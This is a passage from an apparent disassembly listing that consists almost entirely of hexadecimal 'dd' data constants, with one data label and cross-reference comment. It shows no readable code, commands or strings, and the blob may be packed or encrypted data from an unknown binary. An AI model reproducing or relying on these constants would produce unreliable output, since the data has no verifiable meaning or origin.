0D5CF208Eh, 0A5BC3108h, 2A78C858h, 9CD94D07h, 173323Eh dd 0D4DCA9F1h, 2B49EF7Dh, 2944C4Bh, 0E31404D8h, 0F85EC11Dh dd 7F9F60E8h, 0E9EF002Bh, 0CF5B3302h, 0F305E4F7h, 0AA2E63B8h dd 4F9B8400h, 5DA7A9h, 0E3D75927h, 0FF63F535h, 7B0C105Ch dd 4D963499h, 0CEC64C40h, 97C70483h, 0FD97C800h, 885005F6h dd 514A3670h, 29A20860h, 2C0C98C3h, 0BC180F43h, 33839D89h dd 0A5074803h, 6FF7D0C1h, 51F30CD0h, 4C6B075Fh, 978D2A35h dd 0A4104BE0h, 0C89A3EF7h, 78B84100h, 19C2F9C0h, 8004128Eh dd 9F3C01EEh, 70C46460h, 4C965A5Dh, 0A66898B7h, 1C852798h dd 89E0C7D4h, 0F1CFD8C0h, 6413A498h, 4C20E037h, 1E0B7078h dd 14E9EA24h, 0C81C0849h, 1CF100E5h, 0BE4CF77Dh, 60008BAh dd 5FF6889Fh, 0EA18DE4h, 368A3D5h, 9C854Ah, 0D7566152h dd 0A43ED15Ch, 0EF7583E1h, 762916h, 445491D2h, 0F7661158h dd 58CD7332h, 3F80A2A6h, 524F00CBh, 0CA000295h, 16845A09h dd 957D643Bh, 0A59D2040h, 0B0D34833h, 0C020C20Dh, 968B38D4h dd 421444F4h, 0B0342Ah, 0F678F9ABh, 0A6380160h, 2C0487DCh dd 0A60C060Ah, 0BA850668h, 2A131075h, 50B45038h, 0A4CE01DFh dd 64470C42h, 4C803F6Eh, 9AB849EDh, 0C3C61F24h, 3055160Bh dd 12413AA4h, 9E70180h, 0B9B7B643h, 0A1D5B006h, 24258C03h dd 0C0B80B9Dh, 2529EFF8h, 88188103h, 41A9A79h, 42A9D8A4h dd 2644BB20h, 648C5D28h, 8298A081h, 32104095h, 0AA950083h dd 0D2540C4Dh, 9B51A6F7h, 0C3042DB4h, 5090F04h, 8FF79268h dd 0F6A48079h, 89ABBE3h, 70292828h, 401DF53Ah, 890CB147h dd 10906FFFh, 55808E57h, 0C8F0477h, 0A0E911B8h, 58B6D268h dd 268EB588h, 172AC2F4h, 0A30114FEh, 0DCBBC0FEh, 9D2DAC62h dd 5D6A882h, 0E4C430C2h, 0BB096E71h, 0C4271463h, 57B77ECh dd 9FE9A480h, 8414C0D7h, 80B8DBA3h, 486FC20h, 6D065BDAh dd 5514C294h, 5C3FD27Ch, 0E77D00C0h, 6FD2F7CEh, 0D8291347h dd 20088994h, 3E501DDCh, 68B4D4F4h, 0EA78FD1Bh, 0B0C445Ah dd 6E8F6203h, 604E448h, 55118360h, 90DABA70h, 80F62080h dd 0E2F48501h, 6E8C1DF1h, 2E00E02Dh, 2CAC09FEh, 0D22EFC42h dd 240724B1h, 0C43798DFh, 0D0C1EE04h, 0D8D4CB7Dh, 290207EFh dd 45D7203Bh, 0CDCC4BBAh, 0D6F63080h, 943E2772h, 13040C63h dd 659017h, 2076FC19h, 1D16EDF5h, 0E6F3AB02h, 6AEA5129h dd 2764ECDCh, 44B8F8ACh, 0BB612504h, 0F2ABBA50h, 12A41040h dd 1244999Fh, 0F7E4B0DCh, 22933Ah, 52578B65h, 13059E74h dd 83BF4664h, 63A81404h, 0B4A03DE0h, 0E65B528Dh, 80B17425h dd 0C703486Ch, 705F7CDh, 0F4AC7141h, 1706C2BCh, 0C1CF0494h dd 968C2998h, 3C2CACh, 0BF3390ADh, 0BD641E29h, 84C0ECE8h dd 0FF4ABCDh, 2CBC5ECBh, 87C52820h, 0F8941FF6h, 89B09A25h dd 2578E800h, 381EFC34h, 5A98F665h, 59DCB0FCh, 0A352F002h dd 0EACA63CFh, 5848404Ch, 0DDBA0499h, 0C0B0FA27h, 784C7668h dd 30AB9C00h, 9E3604E1h, 643809C4h, 2CA35699h, 0F5E7AEFEh dd 96900BF1h, 70924841h, 3C14EC1Ch, 0E0C6D4h, 888B674Bh dd 58C236BCh, 53C01C32h, 0D856A3C5h, 11909098h, 5DC0A8DDh dd 0E2FB465Eh, 283D2063h, 485188A1h, 0F49EAAFCh, 44A843Dh dd 50D7AD38h, 0D4E56B75h, 503E5EFCh, 48C68CECh, 18610DF7h dd 3E642EA5h, 0D0983C16h, 0A4F58292h, 0F8811950h, 2889784Dh dd 0E4C60315h, 0A0BE5CBCh, 2762FAA9h, 30004129h, 35A53DEFh dd 0E3F7D30Ch, 0C0CD8CCh, 0E2776437h, 0D9D82730h, 99A1918h dd 9B740458h, 986380A0h, 0A5035095h, 0EB915C37h, 88110B97h dd 54C0C604h, 158922Ah, 0F32080BCh, 743755DCh, 0B19F0E4Ah dd 98144229h, 0EEEB2AC2h, 8EDE0D0h, 75A12585h, 2535090h dd 7F45D04h, 0F5FAE2h, 26B72820h, 8CC0345Ch, 0A0C8A7C9h dd 0D5DD5200h, 6191BD55h, 0BF4EE835h, 74DC8800h, 0D40026CFh dd 905C31ABh, 0A0C3FCBh, 65EFD240h, 809844BCh, 0E2C7F164h dd 22090E00h, 0F2D0D9A4h, 6D70ACCh, 42CCFC91h, 1C81539Fh dd 93DA452Ah, 0BCD1F4D0h, 98756237h, 3DDEF703h, 831212D8h dd 82D809A6h, 0C0805C85h, 0EFD3C544h, 85C2FE3Bh, 6329B7DCh dword_4E414C dd 0F5ACF040h, 6DE08Ch, 5591DE53h, 0D6704897h, 86F4Ch ; DATA XREF: ___:off_43A188o dd 0AA1169Bh, 27A49E9Fh, 824403Eh, 0A640886Ah, 825A3898h dd 7060E429h, 3EDC184Bh, 642640DDh, 0C7520h, 0BBC87852h dd 0DAEDE4E6h, 1D0D057Dh, 50A12F2Ch, 0C0105C32h, 932800ABh dd 0C3B41323h, 3E14B03Ch, 3003BFFAh, 0A60D59DBh, 0C663C288h dd 16687A4Dh, 2888156Ch, 49EF60E0h, 0A3C1E730h, 0CF29DC18h dd 8CF421h, 0EFCD1BBDh, 90C6D06Bh, 3F29950Dh, 0D7E4B0E2h dd 63C80C67h, 8748BAC7h, 59C010B9h, 70D80F89h, 0B5037A2Bh dd 9660E000h, 64EAEC7Fh, 40C6D337h, 248062C4h, 0B81C94DFh dd 693C2C58h, 2AF29D4Ch, 0CE2020FCh, 2464AA48h, 95631092h dd 24B1BB04h, 845CBB60h, 37032Ah, 0D053A0C7h, 0FA2F7EA5h dd 0A03D7C6Eh, 679C224h, 0B028F9D7h, 0C0B618AEh, 0F88D0860h dd 0C7661C74h, 32007CE5h, 8815EE36h, 1A4A54B2h, 9BB91C81h dd 40384C00h, 0DA06EE1Dh, 80BADB0Bh, 0F5A89918h, 6F3F01D9h dd 3FDA3BBh, 9788527Ch, 3CA514E0h, 18FBC33Eh, 0B5F042DDh dd 0C48C0EC5h, 0A489D34Bh, 0F1A9C486h, 2906D61Ch, 0F2107D9Bh dd 6E44C2ADh, 0B44987Ch, 32896DD7h, 9FC55820h, 7D6BC304h dd 63140178h, 0D0312CA3h, 0F683786Dh, 0D04C6DF0h, 195530E4h dd 10C8CD2h, 0E788DC4Fh, 0D1995EB6h, 0DBC83089h, 2CF0B40Eh dd 19F180F3h, 59322990h, 3106E0C3h, 78A20103h, 3D90C75Ch dd 5A6D931Ch, 6FC0F01Ch, 0FABF639h, 0CDA81F6Eh, 52900AEh dd 0EBF0ED61h, 920025FCh, 2B467B5Bh, 96357A2h, 0C51DE2B9h dd 840E7029h, 41FD6420h, 633B3F65h, 0A7C2029h, 2B8B19A4h dd 0CE005E6h, 0F0E7C2h, 0CFBB753Eh, 0C0A0DEF7h, 0C24AA5F8h dd 2C9AF551h, 0D82CB89Ah, 8E080030h, 49A02DAh, 0E0688CD0h dd 90013CFDh, 14D788C4h, 506F9F29h, 0C902B038h, 8BD893A3h dd 40F8B0E2h, 6C99EF72h, 30A5B3B8h, 5889CF2Ch, 58DA4830h dd 0E6A4C628h, 5059B8D7h, 32F6483Eh, 0A2B0E1DCh, 144A7462h dd 0D88028D1h, 0D257B4B6h, 0EDC701FFh, 3BDD36Fh, 8BB7F1DBh dd 40DF6319h, 0E04BEE88h, 96F82494h, 1DAD0378h, 5E02941h dd 9A033DA2h, 6D5D5223h, 0B88D9704h, 0A83E3420h, 78B08EA4h dd 0FD181753h, 0A0B0171Eh, 9E4D8848h, 0E60E178Ch, 0D8D2A023h dd 968DE585h, 0B3D84434h, 3079222Ch, 0BEA0CA94h, 552CEAB0h dd 56022436h, 0D8705BF7h, 641B0BC0h, 54AB4533h, 0E71CC070h dd 374D6F91h, 80F110F1h, 0A8D90C48h, 0B00FE1E8h, 0A9761724h dd 0E2F4429Fh, 0DC71249Eh, 0B2642804h, 0E3AF8E0h, 960BB8DAh dd 0AB444760h, 0FD769186h, 431646F8h, 200C6636h, 4DF61148h dd 0A632642Eh, 0C0508258h, 13D13F3Eh, 5805A299h, 0F400DB5Ah dd 0AA8A277Ch, 4F54011Ch, 1ECCB99Dh, 0AC9D452Ah, 62EF16DCh dd 8D24A601h, 2E05127h, 4E3B039Ah, 0C08629ACh, 980483Eh dd 5EB11F7h, 8881E9FEh, 0F6D4E1F4h, 0B0784DA1h, 20294174h dd 4225F3E8h, 8264AB12h, 63A9BE70h, 0D8C99294h, 0F77A0DBCh dd 7C40B9CBh, 68E4C910h, 24FC6EC4h, 12B499BFh, 0BAA00BE2h dd 28D99C02h, 0A8A458E3h, 405D6DCh, 6CB0D804h, 0B1F40092h dd 2FA6FA1Fh, 0AC1C12FEh, 0E0B070Ch, 0B4E4017Bh, 5B60ADF5h dd 0BFEE0BFFh, 4A02763h, 87DE04A1h, 0E21304B2h, 984B361Ch dd 480C4E28h, 0DA12A490h, 8938325Bh, 44D5D205h, 0CC4BE0B3h dd 2D34AC6Ch, 0E42C190Ah, 856318BBh, 0E68D202Eh, 0D628AD48h dd 7CC36C0Ah, 54008C20h, 0F48B9A48h, 35F6FC27h, 0B317B65h dd 0DC30D798h, 0C4A02EAAh, 77F18A3Dh, 29DD05E8h, 0A8F0CB5Bh dd 0FA4A0026h, 0B3B8364Fh, 89E8E967h, 485FF06h, 0F45032CAh dd 0CCC4A801h, 0B8EF5D9Ah, 1666F081h, 18EC7CBEh, 0F258E3D0h dd 27350115h, 0B3049B42h, 0BF48812Dh, 690366A3h, 74688431h dd 8B63C481h, 0B29820DEh, 0DE6469EBh, 0C9FE1C0Ch, 0E6677DF4h dd 0A7042591h, 0D85B4C09h, 0BE3C1600h, 75CF61Fh, 0BB835B41h dd 0B503D32Bh, 0FB0359EEh, 17296B69h, 0ECB000B9h, 63CD26F3h dd 6CA1340Ah, 0DCBB1014h, 16422D55h, 0E0708C83h, 0E22A780Ch dd 24E350F3h, 0D32028A0h, 0D5BCA149h, 41538818h, 2B8535E3h dd 44E73022h, 49EE0094h, 0E6AB833Eh, 0DF2C1929h, 0E04E180Ch dd 8BE20344h, 84F8968Eh, 0B8DBA38Dh, 0D2D31400h, 0AB494B8h dd 0B07172B7h, 68A010B5h, 9EF205A4h, 0A2F308EFh, 834E1A14h dd 12F4E690h, 80FA63CFh, 0BB7056F0h, 0CA00AB75h, 8C5F95FEh dd 9EE8855h, 0F88B6D3Ah, 0AC481802h, 0DE90A0E1h, 0F512A858h dd 640F1105h, 502CD07Ch, 0C8896370h, 0D9DDE018h, 0A19A7B90h dd 3C23EBFAh, 64160304h, 9D1C9248h, 2343441h, 96CC56CFh dd 63F4C0D3h, 1F4B2003h, 9D9D34C8h, 0C248E494h, 748092B8h dd 49C7E5Eh, 0F6F927DAh, 8CD4B05Fh, 0D01C2D50h, 82025CB1h dd 84B4A404h, 0B4A8C3B4h, 880C526h, 909867Eh, 416892F0h dd 0BD100A18h, 0BB003553h, 0EC3E8D4Ch, 0A8416D84h, 80DA7E84h dd 0F332F7C5h, 5EE748C7h, 0DB6D0048h, 6C0483DCh, 0F7303B60h dd 1501EE59h, 8C0C6388h, 90B0D625h, 1542FEEEh, 60F0DC10h dd 0B42F77F6h, 4C744C4Fh, 40E7951Ah, 0A0AF1C71h, 0F4637A50h dd 18A49801h, 90E1E782h, 0F9FE29B1h, 0BB7C68C3h, 3F41C1D2h dd 0E71D982Dh, 4C9AC7F0h, 93F6D12Fh, 0A1FC601Bh, 6C98124Ah dd 0EBE0A4C5h, 0B160C108h, 0F6DA2390h, 0F0A54C7Dh, 74E38F04h dd 25E08006h, 434DFD2Ah, 0EFF600D0h, 46A6393h, 0CCDD50C4h dd 4C20B0E4h, 4120C4BCh, 0BB40D0B0h, 8AF82D6Eh, 3EA06811h dd 0F9B7D828h, 0D7D31180h, 0F3ABBA49h, 5BC2B07h, 64F20C5Ah dd 0E88175B0h, 23EAA2A1h, 118479F8h, 82866DDh, 1B72364h dd 2A8101E5h, 0BB083030h, 0C0E79F07h, 1FF42DE2h, 19400016h dd 8BBD03F2h, 5F1484BAh, 0CB9C47EFh, 583864E4h, 3220ACF8h dd 0BA4A9618h, 5F1CF790h, 48C308Bh, 51C7D623h, 67828947h dd 6CE10B2Dh, 0EF48E8DBh, 25D023EBh, 7A2880FAh, 0E2C238BDh dd 60031862h, 63BE48A6h, 0ECFF2E2Eh, 91F93600h, 18CD356h dd 0A587FA52h, 24806435h, 53278D80h, 0A5BC44FCh, 998D07F4h dd 0A8484B14h, 6B4B04A0h, 0EA128800h, 0C7E263F6h, 0C05CD740h dd 2BA1E053h, 48F9FC73h, 0A32864C0h, 225CB4D6h, 8437CFD4h dd 0D809DED4h, 2979DC80h, 9306EA03h, 0B0E60497h, 63C20C68h dd 9A28CC69h, 0D61A8512h, 0D494F462h, 0DC812700h, 6466F504h dd 3278AE4Ch, 6260BA2Fh, 94D8382Ch, 1695FFFh, 89F68230h dd 0C57C3C5Dh, 8422FD92h, 6334E0ECh, 88D96070h, 0DB59E79Eh dd 891E8674h, 0C5028701h, 4A335A63h, 818681F4h, 3AF1AEh dd 0C8300C14h, 185BADF7h, 0EE236800h, 0F88FE1h, 9FF9EF81h dd 29C65480h, 0E65FA925h, 2ECB22Ch, 0E9FDE2B5h, 4C0C3B4h dd 5F03EDC4h, 6AD21CA5h, 0FAAFC8F2h, 1C10B50Dh, 8F16602h dd 0E473262Ah, 25CE0438h, 4619C07Eh, 2D0491DEh, 9411ED92h dd 0FE12F8BCh, 68BC5887h, 0E8B62A59h, 1BFFEE40h, 2F041452h dd 0E607B4DFh, 50E8B1AFh, 8994336Bh, 808BE32Fh, 2B8C8628h dd 0C53700DAh, 0F1089C23h, 714EBD29h, 0C3C4E020h, 0C48B5811h dd 48C8CD2h, 20C4B626h, 0BC4CF4A0h, 9411358h, 16B78C20h dd 0ACA8B1A5h, 0D8B20868h, 0ECE3EE13h, 1D6C13D2h, 82B041A9h dd 0F0BA4837h, 550F8B1Ah, 0ABEB3C06h, 0C2E050D0h, 0B7332A69h dd 7609FC50h, 20EAB45h dd 0BA5C338h, 33E0548Ch, 12BC5953h, 1409DC7Eh, 36D490F9h dd 0FFC380F6h, 0AA1EB8FAh, 289802Fh, 2550FA87h, 66DE2Bh dd 24C09C4Ah, 9A4829D9h, 18D14CF4h, 40700612h, 94AA7C8h dd 577F63C0h, 7D8E8CBh, 1B36E278h, 0C3D0C5F9h, 3D24B80Bh dd 68B8B1F6h, 0B02A304Ch, 2D0BB2CCh, 0FEC5231Dh, 0E2E70368h dd 0B5A9EAF0h, 1DC54AFh, 0EC3CFB4h, 7B3CF1D7h, 0EFD4D403h dd 58E09903h, 5B91C8h, 8DD8B493h, 2BB95FD7h, 0FCEFF32Eh dd 72500E25h, 0C62E84ECh, 74AA34h, 1E23CFC5h, 4A2549Eh dd 5802024Ah, 0CE85E9F7h, 8832670Ch, 4FE0CEE2h, 1D04867Ah dd 943096EFh, 0E493BC12h, 17820DBh, 0C20B0898h, 803B0514h dd 1B902398h, 0F7A4B8CDh, 27CEC0FCh, 0B8942FC3h, 814F9B03h dd 0E9BF0F3Fh, 0EC019776h, 0F3B0700Ch, 0CC721A09h, 0C3248099h dd 2696AD37h, 1808F611h, 902911C2h, 0E3025892h, 8A7CEC6Fh dd 0ACAC6387h, 0DC04E012h, 94A95900h, 9B63A8E6h, 9028BA79h dd 0BC64A5BFh, 443D0A9Fh, 0E88D1DF7h, 989B8B78h, 1608AECh dd 9EC30C83h, 6C02A26Ah, 52C8458h, 4985885h, 59630052h dd 0F74A89DDh, 2A5BEB08h, 6700A48Bh, 0C11D474Ch, 900F5EBh dd 83E03FDFh, 0FDAD06h, 704A515Ch, 329D23C0h, 63910500h dd 0D672DFC7h, 294C0537h, 400CB6F7h, 948F3528h, 4E3A3FA8h dd 6B0F9EAFh, 53E0CDC0h, 0E5B56E04h, 0C4CD037h, 4A798E10h dd 20CCD814h, 0CD8C4FE2h, 77243890h, 7490A94Bh, 5C0A636h dd 0EF5A1226h, 0BD080149h, 809AA863h, 0D7676529h, 3029CF7Fh dd 0C57875D5h, 0F000FBEFh, 920738CBh, 7718874Bh, 7EE760Fh dd 1265611Ah, 0C42B0989h, 0C1299860h, 0E3A8019Fh, 256EB9B8h dd 0C69CDC78h, 2519F73Eh, 0AA54B02Ah, 980805F9h, 0A0F14A86h dd 0B33404ECh, 84F2F120h, 75D2F60Ch, 7C002341h, 0A3BD11A6h dd 4AD70304h, 2E7889CAh, 1A9E6038h, 28D01004h, 8FA8EC74h dd 9C9DD94Fh, 0EDF6B011h, 4E40046Eh, 33124216h, 3D18D385h dd 5C97EF93h, 81525698h, 2242C134h, 34A481B8h, 8632CACh dd 3E77C510h, 438CC12h, 0E827A47Dh, 0A2F2C80h, 0F7C51644h dd 85E0F005h, 0E87828B5h, 84416613h, 3D32049Fh, 0B0927829h dd 0CD09BDACh, 1B91EE9Ah, 88F2BD30h, 6A5CF196h, 218C2809h dd 7440F7A8h, 0C61C707Ah, 0F226C141h, 903F289Bh, 0F0407859h dd 0C4EA4063h, 0EEC2472Dh, 10F61550h, 638228CBh, 1C40CEEBh dd 0C10486B9h, 570DA81Bh, 0DDDF70B2h, 81D0922h, 3760001h dd 805C3CBFh, 5E523FBAh, 71B986Ah, 17682E91h, 47036225h dd 0C1018CD8h, 6B1D43F0h, 0A28C6FCFh, 79A03B75h, 8796C096h dd 34B41CD5h, 63D00C56h, 8DA8817Ch, 4A183E3Ah, 0A8EC3424h dd 2C30B6E4h, 0BB0134BEh, 0C6F6F7CEh, 621CB8A3h, 0E479B68Dh dd 85842494h, 44E8220Ch, 3B8834Fh, 60E0ACEFh, 8DA7CE00h dd 0ED668BE8h, 0A63F3EE5h, 0D77A1101h, 0D27F2949h, 65D4D841h dd 4AF7F054h, 30B649h, 3609C620h, 25CDBAh, 9887C534h, 3FB12F8Ch dd 51CC73Bh, 0D129ED67h, 3CDDC0B0h, 0FF8F86B3h, 0EAA7E794h dd 52E940A0h, 5F0B088Ch, 0C04A179h, 24BFE0C9h, 25F82EA9h dd 9168180Eh, 3C559200h, 7996F7Ch, 7E15FD2Fh, 0A35740EFh dd 12090BA1h, 72D78525h, 9BD4A48h, 0FCE0BB98h, 2AF190B7h dd 0F38A7C22h, 61920974h, 960BE8D9h, 13B0D915h, 4E304086h dd 2F43BD05h, 7B345B09h, 29C5926h, 0F5569C27h, 0FC9A48E0h dd 6F091E7Fh, 40CF28FBh, 508E34Ch, 0F764F9CEh, 85F057FCh dd 29C00288h, 79099D53h, 3466A544h, 0A87E10A2h, 10620343h dd 73C1B818h, 0E688CE2Dh, 0ACDC80B4h, 7267834h, 95435E27h dd 4B5353BEh, 7B4E0E88h, 0E81BC01Ch, 0FD8916C0h, 59410485h dd 5D062CE3h, 4021D9F7h, 4629F324h, 0DD4F7C2Ch, 9593B21Dh dd 96E1C02h, 13EC600Bh, 0F01EE8BFh, 88D40112h, 14E2B9F2h dd 0BFC33F5h, 0B696C63h, 0B78431C0h, 0D01E9231h, 42960459h dd 1ED2F0F4h, 0A069E710h, 0FBD0310h, 144BF9ABh, 16043C61h dd 60242476h, 1233220Fh, 295C013Dh, 38878497h, 3431858Ch dd 0B12CEC86h, 2FEF3B7h, 68D4CB64h, 5C128317h, 0F313F431h dd 0F6C4303Ah, 48B2A382h, 0BE282F50h, 0A0C9A25Ah, 994BE828h dd 9C026A0h, 0A07B63C4h, 51F086E4h, 0C71484Bh, 0B20C0B0Bh dd 0F8EEF985h, 5EF60DE8h, 3D6F707Dh, 0AD42770h, 0F033CBF7h dd 4429F50Eh, 0E4A30CF0h, 0FE5B8700h, 0EE03C29Eh, 1D704959h dd 0CF96EDEAh, 0E38ECC0Fh, 0F71DE361h, 0B4C98BC5h, 3E6C062Fh dd 950098C7h, 0EDFF65DCh, 0C262F7h, 0FC96F3F6h, 9A613D85h dd 3EF2FE3Dh, 0B9D919E9h, 627BE2C1h, 0E8E3EA78h, 24CD3CB8h dd 6904DB02h, 0C0210C40h, 81F37980h, 3C273E8Ch, 0B5CF9ABh dd 50F9460Ch, 58DB9D00h, 4240E7h, 0B924E5A3h, 763FD96Bh dd 632BBC0Ah, 610BBCEDh, 3888ACE2h, 0DC530020h, 436BD317h dd 6D647C0Dh, 77C676A9h, 63042580h, 5D000074h, 0C7E087D4h dd 4AF400ABh, 8C3670A0h, 405D824h, 0FA2BF795h, 8501DCB8h dd 9EB371CBh, 9D66F455h, 0B029773Ah, 0F3ECC898h, 0AF2A1608h dd 8498E275h, 88E09EBBh, 0C71040C4h, 9AF0B4BDh, 1A9E25A8h dd 0DD4D60E8h, 9B7EF0Bh, 101078FCh, 40292663h, 6D0043FAh dd 599235A9h, 0CC04B42h, 0EF6CF77Fh, 153DCDF0h, 0E15B807Ah dd 52260DEBh, 0F6560962h, 1C50D629h, 181DE500h, 16EFAEA3h dd 7A8F0246h, 0D95C1179h, 4A84E2h, 50A26C6Ch, 564298F6h dd 198C680Fh, 63E51703h, 0EDF00094h, 0EBDAC78Dh, 2A09101Dh dd 7828A019h, 40F6E470h, 3E776BB0h, 6446C405h, 0E800CD87h dd 619159FCh, 1ACE4870h, 18087602h, 9C4856A8h, 0BC10D99Ch dd 0D0982CABh, 60CD89E6h, 172F98C2h, 69C0F3F8h, 4280F1C9h dd 68C12BAAh, 140D6F96h, 206AD1BEh, 0E392CA24h, 4B37B21Eh dd 11C9E80Ch, 0A72727F7h, 63BC4460h, 0C809E94Fh, 7C74649Ah dd 4830912h, 70A08E76h, 66269761h, 4190865Ch, 0A218804Ch dd 0F770AD1Ch, 74F24AC6h, 32C0E5B4h, 14E30970h, 0E2DC9883h dd 2425494Dh, 9BE0DC41h, 0B0C212ECh, 216C0084h, 0C39541C4h dd 0E9EEFE0Bh, 2354077Dh, 0C2984Ch, 39D814F3h, 318CAE2Ch dd 103F1300h, 98FFABA1h, 6F54090Eh, 0B009570Ch, 832F5C7Bh dd 0E9D77BD0h, 0B2F3A29h, 83042EF8h, 0FD0A867h, 4BF7D3BCh dd 0BD74F037h, 0B8707C85h, 4380E40h, 29C0C2ABh, 165878A6h dd 60BA8CE3h, 2D746020h, 549F2200h, 0DC6E2A97h, 0F7030B11h dd 54520557h, 1C9BCF03h, 880AEBA7h, 2D6FF92h, 3F66CD50h dd 0A87C8B03h, 0C25D3643h, 2528CE8Eh, 0D4C19C64h, 817878ECh dd 8954EB0Ah, 20D109EBh, 480042AEh, 434A8597h, 546D7B00h dd 2AE496DAh, 0E2AB0E8Dh, 3567F5CBh, 0C07A4788h, 0D03D1C7h dd 0FEF1C827h, 0FA4607D4h, 7E6CC008h, 0DD003451h, 7722F652h dd 1F54715Eh, 0CA096E2h, 0A230C94Dh, 3F516E09h, 2277008Dh dd 0C39019Bh, 713674E7h, 4007A70h, 0F64D9033h, 8766EA9h dd 0D04EB351h, 3418A326h, 0E4AE28h, 5A63D1B7h, 0EC4D9B28h dd 0D6F02A00h, 5B8CDF1Bh, 30F980CCh, 8EE6C718h, 0C1836CA0h dd 158A4948h, 8378CD4Ch, 7163F510h, 0EA800E7Ah, 66C0D5A2h dd 6CF61847h, 1345CB00h, 0E042C9FBh, 340900ECh, 47EA37D4h dd 881F1511h, 3502D375h, 2972D57h, 0A200412Ah, 5CEA5605h dd 72281396h dd 0B47F009Ch, 0D786F63h, 28C040D1h, 41E77103h, 0C7703CB3h dd 0D303440h, 6445A098h, 0C4C453FBh, 53210200h, 0E7414D97h dd 0E8FA3D30h, 0F8150345h, 316318B5h, 1C6C30DEh, 0F6AC3C00h dd 9476D197h, 96F20052h, 4270A999h, 0D63034D9h, 6A5F68B4h dd 26BA006Ch, 0F650EC64h, 8801B67Ah, 34800721h, 0F0415C3Ch dd 0D8483775h, 5AC1F99Ah, 576D1889h, 90F23C04h, 1398C10h dd 5989F4A0h, 1120E778h, 0E2D43038h, 2CE4ABC8h, 283B7528h dd 2034EC28h, 152C7248h, 10E06C7Fh, 3F00C52Dh, 0B44C1F7Ch dd 10E439B6h, 0A504B109h, 471C2096h, 1EF3EE09h, 793D4C4h dd 0C0AB3C0Dh, 5351666Ch, 5C63AC0Ah, 2B81A8EAh, 3CE06448h dd 0AECF080h, 7CD943C9h, 6C5D7601h, 9E28C92h, 0ECB0C885h dd 4050050Dh, 445C0010h, 618A3935h, 68E4E730h, 7A9701DEh dd 5431C004h, 238596CAh, 0B310D061h, 489F712Dh, 7951026Ch dd 4848765Bh, 0E70A817Bh, 0C4C663F1h, 3D7E289h, 0C46CDD78h dd 2120488h, 8B062C79h, 47C3093Ch, 63D48180h, 85349809h dd 0F16000EDh, 50BD491Eh, 504CA86Eh, 0D434B2h, 0D5218085h dd 5D1BFE4h, 7DEF980Fh, 9010D2A2h, 69031314h, 0FF6E6207h dd 43F9B00h, 1C184CE1h, 5C10B6C9h, 0AD0A9DCCh, 0C899FA04h dd 7B8C4B01h, 63D0F9FFh, 0AD50C0AAh, 0A63D166Ch, 0F22FEA12h dd 885D8040h, 0E21078Ch, 0CB86B2AAh, 0BDDCAC20h, 149B5901h dd 0D0D65080h, 0C1AA9DBh, 9E6263C6h, 56488F18h, 61852670h dd 0E480BC21h, 0CD124728h, 3CC71EDh, 61752E1Ch, 4FE18839h dd 0E33EC06Ch, 44B52526h, 4075EF8Ch, 63B71CDCh, 4D9A0513h dd 0A6C401E4h, 806A6104h, 15A84C20h, 45C362h, 0A22DECB4h dd 8CD2406Fh, 1CF44924h, 0C02CAB12h, 0F027A54h, 0F94011B3h dd 5E747B22h, 85288466h, 0A700B031h, 0CDBF7E13h, 0C766A18Ch dd 80083B20h, 0F3545774h, 2CA40C09h, 40180730h, 3664A3C9h dd 4058AAF2h, 81F0CEBCh, 0E4B44289h, 0F1DEAC60h, 0EA0044A4h dd 0CC438FECh, 0EF6763C5h, 0F89C1504h, 7284F095h, 21D0859Eh dd 303BDDD4h, 304C3228h, 8E6F1208h, 0B3A83870h, 43DF14D7h dd 0DE009C55h, 7BD6355Eh, 8C18851Eh, 452872DBh, 0C1B313FCh dd 0A02445DAh, 5A48904Eh, 0B71CC3EDh, 0E4C04C92h, 642D7099h dd 8C47487Ch, 0D4718500h, 74865456h, 0F4523900h, 0E04723Ah dd 504890A0h, 0CC6060h, 9A7E9861h, 3EC751C6h, 9870FE28h dd 1E1A520h, 0F72E2CC1h, 0C037F9FBh, 541277EAh, 5C24B1BBh dd 345A60C0h, 0E5A53C8Dh, 156F812h, 0F207EA88h, 5F82E08Bh dd 69029D07h, 0F941FB5Eh, 7ADC2F39h, 0E203208Ch, 6405E491h dd 0BC53BE74h, 5DC9701Fh, 0ABFC98BBh, 65DD07C0h, 20333D10h dd 98342F03h, 2CC5D4Dh, 52B2EB60h, 909081DEh, 2C8F67FCh dd 0B80A2BA4h, 0F1640208h, 2C66F59Ah, 69E0B530h, 9135752Ah dd 0D558844h, 748509h, 0EE3A4F1Ch, 1E341490h, 907BA480h dd 0B35412CCh, 0F8301401h, 1240E430h, 24390462h, 801DAC51h dd 0FAB604BEh, 0C082F629h, 5D86013h, 80A6F827h, 801447Bh dd 12B14B23h, 0B0882FE5h, 0ED017F09h, 1463CF36h, 4DAC20h dd 3474F9FEh, 0A4D50569h, 3C1D6C02h, 805D02FCh, 9FCC4B98h dd 893D3063h, 25BBB340h, 4C50D50Fh, 4A6FE0B0h, 381B461Fh dd 10B08C7Dh, 0BD09FB58h, 33F3D002h, 822FD234h, 0C094F1B0h dd 7C2A3E2Ch, 4C565D0Dh, 8BC3F13h, 0B4208E78h, 0FB2678A4h dd 4A448C2Ah, 1899B483h, 20359C68h, 0EFE2E57Fh, 34A5AA06h dd 4838C0D9h, 0DE02ACE4h, 0E7E296C9h, 9F0BD08Fh, 52B59018h dd 0EA304CB0h, 6CAF48ADh, 518D1913h, 8307994h, 97F43034h dd 0E2B24258h, 10D1DF29h, 97324C00h, 0DE06871h, 39CC4F76h dd 17483010h, 0D3C73308h, 0ACED05A3h, 0A41480E2h, 13481004h dd 0A278160Ch, 8C807803h, 4281A6F8h, 9104D08h, 187482A1h dd 9932EC2Ch, 88F0A624h, 0C802917Eh, 600F5CC4h, 0C8937A68h dd 74450C31h, 1EE18CCh, 3DAED1CFh, 37666EF7h, 0A7A1238h dd 4A342490h, 1C88B0FDh, 66D4966h, 2869C28Ch, 98B5AA29h dd 1E36788h, 880448F4h, 0DCE88B3Ch, 33E482D9h, 0D98504F9h dd 63A034D8h, 1094E833h, 0C9DEB39Dh, 44318822h, 0B033C9ECh dd 7C0E48F6h, 98950840h, 7F3D3A64h, 29FBE880h, 5CD327BEh dd 28B6F43Ch, 34320801h, 6113D91Ch, 404CE727h, 325180EFh dd 8F028C90h, 0C3644496h, 4C8CC8A6h, 0A5A7F89h, 29C1384h dd 989E158Ch, 0D4007822h, 0AD921EECh, 78BDCC8Fh, 0F82F2EB1h dd 590847E8h, 589B5844h, 29698A89h, 0C708828h, 3002F613h dd 0E1549EB0h, 1473B2C6h, 0BDCBA2Eh, 88A7CDB3h, 0E4A0F817h dd 44902271h, 